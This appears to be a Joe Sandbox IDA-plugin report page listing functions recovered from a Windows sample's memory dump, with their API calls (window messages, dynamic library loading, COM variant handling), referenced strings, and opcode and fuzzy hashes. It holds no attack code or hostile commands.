Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: f3589be63e36fbe88fc1f987228edbc8a6d0ea4c336ecd9b20b29cfc87d48d45
Instruction ID: 3611b1adbb567be7bdb89dc47a369026848ee66b3f185bd33ccb583e63d9a887
Opcode Fuzzy Hash: f3589be63e36fbe88fc1f987228edbc8a6d0ea4c336ecd9b20b29cfc87d48d45
Instruction Fuzzy Hash: 9421BF32550218BBEF219F94CC86FEA3B79EF48754F110215FE55AB1D0D6B9AC50CB90

Function 0078A88A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 0078A941
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 0078A94F
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 0078A956

Strings

msctls_updown32, xrefs: 0078A8BB

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: 584964053873831fa3b53f00e7451067f0194a00e1c484af55ea56d804c5b92d
Instruction ID: 43aab77423896bd674182c15576dc1c7c9d9742a6fd24cbc881ffa7d1a45b75b
Opcode Fuzzy Hash: 584964053873831fa3b53f00e7451067f0194a00e1c484af55ea56d804c5b92d
Instruction Fuzzy Hash: A82192B5640209BFEB11EF18DCC2D6737ADEB5A3A4B45005AFA059B261CB38EC11CB61

Function 007899A5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00789A30
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00789A40
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00789A65

Strings

Listbox, xrefs: 007899FD

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 9999b403eec31c8860fc6d47ec181fef6222e9daa61983976edb95ac998794f7
Instruction ID: f72dbaefb6effa76f260c2372ce321200d1529c886415e7b2a84cd5a4aac4ae9
Opcode Fuzzy Hash: 9999b403eec31c8860fc6d47ec181fef6222e9daa61983976edb95ac998794f7
Instruction Fuzzy Hash: BC21C532650118BFDF259F54CC85EBF3BAAEF89750F058129FA459B190C679AC11C7A0

Function 0078A409 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 0078A46D
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 0078A482
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 0078A48F

Strings

msctls_trackbar32, xrefs: 0078A444

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: 006b589437114f8601ac17599bb885a9e55d05c7ba75101cfcddb25bc882dd9f
Instruction ID: f846186acd913df609fd8ba15c07d87830319be53052b4d82fd613bbfa6a3f23
Opcode Fuzzy Hash: 006b589437114f8601ac17599bb885a9e55d05c7ba75101cfcddb25bc882dd9f
Instruction Fuzzy Hash: 30110A71240248BEEF206F65CC49FAB3769FFC9754F014119FA4996091D7B9E811CB24

Function 00726430 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00723DEE,007E1148,?,?,?,?,?,00723AA3,?), ref: 00726471
_wcscat.LIBCMT ref: 00795DDB

Strings

h, xrefs: 0072648B
pi, xrefs: 0072647E

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: FullNamePath_wcscat
String ID: h$pi
API String ID: 2109976907-720832520
Opcode ID: f3befe7cbffe550ab09beceb25bee8981fa40555f2cf0c375a7f511223096259
Instruction ID: 17e5f4a081afbc930947fb7dd51688b67dd83a1c59d560a4496c45fbcd108e9c
Opcode Fuzzy Hash: f3befe7cbffe550ab09beceb25bee8981fa40555f2cf0c375a7f511223096259
Instruction Fuzzy Hash: 39116531A05165DB8B01FBA4ED46ACD73F8AF08354B108166B689D7240DA7C97C88761

Function 00742287 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,00742350,?), ref: 007422A1
GetProcAddress.KERNEL32(00000000), ref: 007422A8

Strings

RoInitialize, xrefs: 00742290
combase.dll, xrefs: 0074229C

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RoInitialize$combase.dll
API String ID: 2574300362-340411864
Opcode ID: d70c5aa040b1024e7f644828395c7d9dd495d0a1e37da805734a26b529470051
Instruction ID: 7430107477ce4891cf5c3e8d365d78644dbbfe12091e1206b24a5ab553a1d7c3
Opcode Fuzzy Hash: d70c5aa040b1024e7f644828395c7d9dd495d0a1e37da805734a26b529470051
Instruction Fuzzy Hash: 79E01A70691344ABDB205F70EC89B193A65B749702F41C020F102ED0E0DBFC4881CF4C

Function 0074235C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00742276), ref: 00742376
GetProcAddress.KERNEL32(00000000), ref: 0074237D

Strings

RoUninitialize, xrefs: 00742365
combase.dll, xrefs: 00742371

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 2574300362-2819208100
Opcode ID: a0a0196e4e13820755d85e201f345963d0990e03a4754f971bbbee4471bf355f
Instruction ID: 904dfa4a99accad541ef94dd8e747ee5f7af5cacd0acf0c80f2a602a2591dd5f
Opcode Fuzzy Hash: a0a0196e4e13820755d85e201f345963d0990e03a4754f971bbbee4471bf355f
Instruction Fuzzy Hash: D1E0B6B0646348ABDB305FA0ED4DB083A76B749702F11C425F10AEA4B0EBFC5C90CA5D

Function 0079AC59 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0079AC60
__swprintf.LIBCMT ref: 0079AC94

Strings

%.3d, xrefs: 0079AC6E
WIN_XPe, xrefs: 0079ACD3

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: LocalTime__swprintf
String ID: %.3d$WIN_XPe
API String ID: 2070861257-2409531811
Opcode ID: 752e342b46fae5ff81c2b0994cc50a264514da8f9a8d83bcfe7e678798057d81
Instruction ID: 031ead2b52740513e3a2b3f59d87a8d5e310f4715f3e43f9e6b5a3b4c1eb3d27
Opcode Fuzzy Hash: 752e342b46fae5ff81c2b0994cc50a264514da8f9a8d83bcfe7e678798057d81
Instruction Fuzzy Hash: 62E012B1805618FBCF119750ED09DF9737CE705741F5004D2B946A5100D73D9B84EB76

Function 00782205 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,007821FB,?,007823EF), ref: 00782213
GetProcAddress.KERNEL32(00000000,GetProcessId), ref: 00782225

Strings

kernel32.dll, xrefs: 0078220E
GetProcessId, xrefs: 0078221F

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetProcessId$kernel32.dll
API String ID: 2574300362-399901964
Opcode ID: feed631996f67710980aab49586f06c215cbe041438155b0f13de1616b9da0bc
Instruction ID: 21be5a8a23a24c4debf028b5f12ec60e05897d2bfa1f64b6fb8c4c0ec23f1757
Opcode Fuzzy Hash: feed631996f67710980aab49586f06c215cbe041438155b0f13de1616b9da0bc
Instruction Fuzzy Hash: 06D05E744407169FC7215B60F808601B6E5EB06302B02841AE846A2651D678D8828760

Function 007242F6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000000,007242EC,?,007242AA,?), ref: 00724304
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00724316

Strings

kernel32.dll, xrefs: 007242FF
Wow64RevertWow64FsRedirection, xrefs: 00724310

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: ef21a8289fb92dece396abdb5e8f73b2aa43060b17237f7d3d07ea5eacbe1ba8
Instruction ID: d788080cdf3b3377aa8090c084d000a32ade0d96185cdb702e571409e9743e28
Opcode Fuzzy Hash: ef21a8289fb92dece396abdb5e8f73b2aa43060b17237f7d3d07ea5eacbe1ba8
Instruction Fuzzy Hash: BAD0A7704007229FC7308F60F80C60577F4AF15301B01841EE447E2661D7BCCC818610

Function 0072434B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,007241BB,00724341,?,0072422F,?,007241BB,?,?,?,?,007239FE,?,00000001), ref: 00724359
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 0072436B

Strings

Wow64DisableWow64FsRedirection, xrefs: 00724365
kernel32.dll, xrefs: 00724354

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: e276ec997b4dcf1a1194fb8faf5e3d49e0e34811def864ac68530e42c2641a33
Instruction ID: f05ea338035f45f0df249f2329c99b5a9e8d53b38c0a5db5148b437c0a30834e
Opcode Fuzzy Hash: e276ec997b4dcf1a1194fb8faf5e3d49e0e34811def864ac68530e42c2641a33
Instruction Fuzzy Hash: CDD0A7708007229FD7308F70F80860177E4BF22725B01851EE482E2650D7BCDC818610

Function 00760564 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(oleaut32.dll,00000000,0076052F,?,007606D7), ref: 00760572
GetProcAddress.KERNEL32(00000000,UnRegisterTypeLibForUser), ref: 00760584

Strings

oleaut32.dll, xrefs: 0076056D
UnRegisterTypeLibForUser, xrefs: 0076057E

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: UnRegisterTypeLibForUser$oleaut32.dll
API String ID: 2574300362-1587604923
Opcode ID: dbccc826c7e3b70a6ad87938867156bd21287513cb1d66fbb1e35f84bedd6a45
Instruction ID: c82891becb317bcdabcd77c69af34e8d7bd43402c8f1b9ce85b30425511a3b65
Opcode Fuzzy Hash: dbccc826c7e3b70a6ad87938867156bd21287513cb1d66fbb1e35f84bedd6a45
Instruction Fuzzy Hash: 50D05E704003229AC7205F60E808A027BF5AB15301B11881BEC8392651D678C8828A60

Function 00760539 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(oleaut32.dll,?,0076051D,?,007605FE), ref: 00760547
GetProcAddress.KERNEL32(00000000,RegisterTypeLibForUser), ref: 00760559

Strings

oleaut32.dll, xrefs: 00760542
RegisterTypeLibForUser, xrefs: 00760553

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegisterTypeLibForUser$oleaut32.dll
API String ID: 2574300362-1071820185
Opcode ID: 5130cfb5b8a19091ff2d5302c7c4fa097b31e71ff4e3f2eced450de728d7b051
Instruction ID: 4840816eb40ae403156a8603d5619aacbbf0933725ca978e6a4bb5214fdc24f6
Opcode Fuzzy Hash: 5130cfb5b8a19091ff2d5302c7c4fa097b31e71ff4e3f2eced450de728d7b051
Instruction Fuzzy Hash: 60D0A7744107129FC7308F60E808A0676F4AB11301B11C81EE847E2662D67CCC828A50

Function 0077ECC8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,0077ECBE,?,0077EBBB), ref: 0077ECD6
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0077ECE8

Strings

kernel32.dll, xrefs: 0077ECD1
GetSystemWow64DirectoryW, xrefs: 0077ECE2

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: 809238f30e5675181bff3d07a533dc4b601c6df897c6c6d53329cf7793eb308f
Instruction ID: ebd6bd747c5b7e2723cf4af1606a684a57f3b227f673c6c8fb96f2b6417bb9f8
Opcode Fuzzy Hash: 809238f30e5675181bff3d07a533dc4b601c6df897c6c6d53329cf7793eb308f
Instruction Fuzzy Hash: 35D0A7754007239FCF315F60EC4860277F4AF05341B01C45EF84AD2651DB7CCC818A20

Function 0077BADD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000000,0077BAD3,00000001,0077B6EE,?,007BDC00), ref: 0077BAEB
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 0077BAFD

Strings

GetModuleHandleExW, xrefs: 0077BAF7
kernel32.dll, xrefs: 0077BAE6

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: e5d4e2fa18395d6556a76b6e0dcfcec88cf1b16167254dbb81e7d7bb5ca4a433
Instruction ID: bc44c0ba8715dcb3154d8b8a824e1e7bfc5573561840039a730d5b3a30ec7437
Opcode Fuzzy Hash: e5d4e2fa18395d6556a76b6e0dcfcec88cf1b16167254dbb81e7d7bb5ca4a433
Instruction Fuzzy Hash: 2FD0A7B09007129FCB305F60E848F1177E4AF05341B01C41EEC47D2660D77CCC81C614

Function 00783BDB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,00783BD1,?,00783E06), ref: 00783BE9
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00783BFB

Strings

advapi32.dll, xrefs: 00783BE4
RegDeleteKeyExW, xrefs: 00783BF5

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: 73e1feebe962c9b298083ed0e93085d1bbfe6e6f83c33a55cb0b4e8413a405be
Instruction ID: b4ed9bc5172bb688a058437b9231637962f561987ca421f153ed507a23d594df
Opcode Fuzzy Hash: 73e1feebe962c9b298083ed0e93085d1bbfe6e6f83c33a55cb0b4e8413a405be
Instruction Fuzzy Hash: DBD0A7B14407169FC7306FA4EC08603BAF4AB02715B11841AE447E2690D7BCC8808F20

Function 00759B30 Relevance: 6.3, APIs: 4, Instructions: 306COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85d86c7a0aff74b47039a1bf7bde4f34cdcc0e4c109d81ef04b84303ac796974
Instruction ID: 2a744b02c4c9d40970a4195935536b463d2ca834fd70a13c811fe13f1a2d3709
Opcode Fuzzy Hash: 85d86c7a0aff74b47039a1bf7bde4f34cdcc0e4c109d81ef04b84303ac796974
Instruction Fuzzy Hash: 87C17D75A0021AEFCB14CFA4C884AEEB7B5FF48711F104598EE05AB251D7B4EE45DBA0

Function 0077AA84 Relevance: 6.3, APIs: 4, Instructions: 268COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0077AAB4
CoUninitialize.OLE32 ref: 0077AABF

Part of subcall function 00760213: CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 0076027B

VariantInit.OLEAUT32(?), ref: 0077AACA
VariantClear.OLEAUT32(?), ref: 0077AD9D

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: 42b52a4663a1e2964b90df8c94e52db4c466b92317d7ed7be843643b6796f86e
Instruction ID: 4660891024d04aa39a5c7a0995f79208f4a22ad09cf757a74d4947c584489097
Opcode Fuzzy Hash: 42b52a4663a1e2964b90df8c94e52db4c466b92317d7ed7be843643b6796f86e
Instruction Fuzzy Hash: 7BA13575204711EFEB11EF14C485A1EB7E4BF88750F148459FA9A9B3A2CB38ED00CB96

Function 007591CC Relevance: 6.2, APIs: 4, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 007591DD
SysAllocString.OLEAUT32(?), ref: 00759286
VariantCopy.OLEAUT32 ref: 007592B5
VariantClear.OLEAUT32(?), ref: 007592DC

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
